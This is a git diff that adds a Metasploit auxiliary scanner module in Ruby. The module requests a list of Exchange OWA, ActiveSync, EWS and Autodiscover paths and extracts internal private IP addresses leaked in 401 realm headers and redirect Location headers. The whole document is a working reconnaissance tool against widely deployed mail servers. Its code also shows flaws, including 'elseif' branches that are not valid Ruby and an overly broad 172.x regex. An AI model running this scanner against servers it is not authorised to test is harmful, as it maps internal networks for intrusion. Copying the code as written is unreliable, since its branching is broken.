diff --git a/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb b/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb new file mode 100644 index 0000000000..0f42b5a8ce --- /dev/null +++ b/modules/auxiliary/scanner/http/exchange_iis_internal_ip.rb @@ -0,0 +1,113 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure', + 'Description' => %q{ + This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers. + }, + 'Author' => + [ + 'Nate Power' + ], + 'DisclosureDate' => 'Dec 17 2012', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'SSL' => true + } + ) + + register_options( + [ + OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]), + OptInt.new('RPORT', [ true, "The target port", 443]), + ], self.class) + end + + def run_host(target_host) + rhost = target_host + print_status("#{msg} Checking HTTP headers") + get_ip_extract + end + + def get_ip_extract + urls = ["/Microsoft-Server-ActiveSync/default.eas", + "/Microsoft-Server-ActiveSync", + "/Autodiscover/Autodiscover.xml", + "/Autodiscover", + "/Exchange", + "/Rpc", + "/EWS/Exchange.asmx", + "/EWS/Services.wsdl", + "/EWS", + "/ecp", + "/OAB", + "/OWA", + "/aspnet_client", + "/PowerShell"] + + result = nil + + urls.each do |url| + begin + res = send_request_cgi({ + 'version' => "1.0", + 'uri' => "#{url}", + 'method' => 'GET', + 'vhost' => '' + }, timeout = datastore['TIMEOUT']) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("#{msg} HTTP Connection Failed") + next + end + + if not res + print_error("#{msg} HTTP Connection Timeout") + next + end + + if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i)) + result = match.captures[0] + print_status("#{msg} Status Code: 401 response") + print_status("#{msg} Found Path: " + url ) + print_good("#{msg} Found target internal IP address: " + result) + return result + elseif + print_warning("#{msg} No internal address found") + next + end + + if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^http[s]:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i)) + result = match.captures[0] + print_status("#{msg} Status Code: #{res.code} response") + print_status("#{msg} Found Path: " + url ) + print_good("#{msg} Found target internal IP address: " + result) + return result + elseif + print_warning("#{msg} No internal address found") + next + end + end + + if result.nil? + print_warning("#{msg} Nothing found") + end + + return result + end + def msg + "#{rhost}:#{rport} -" + end +end +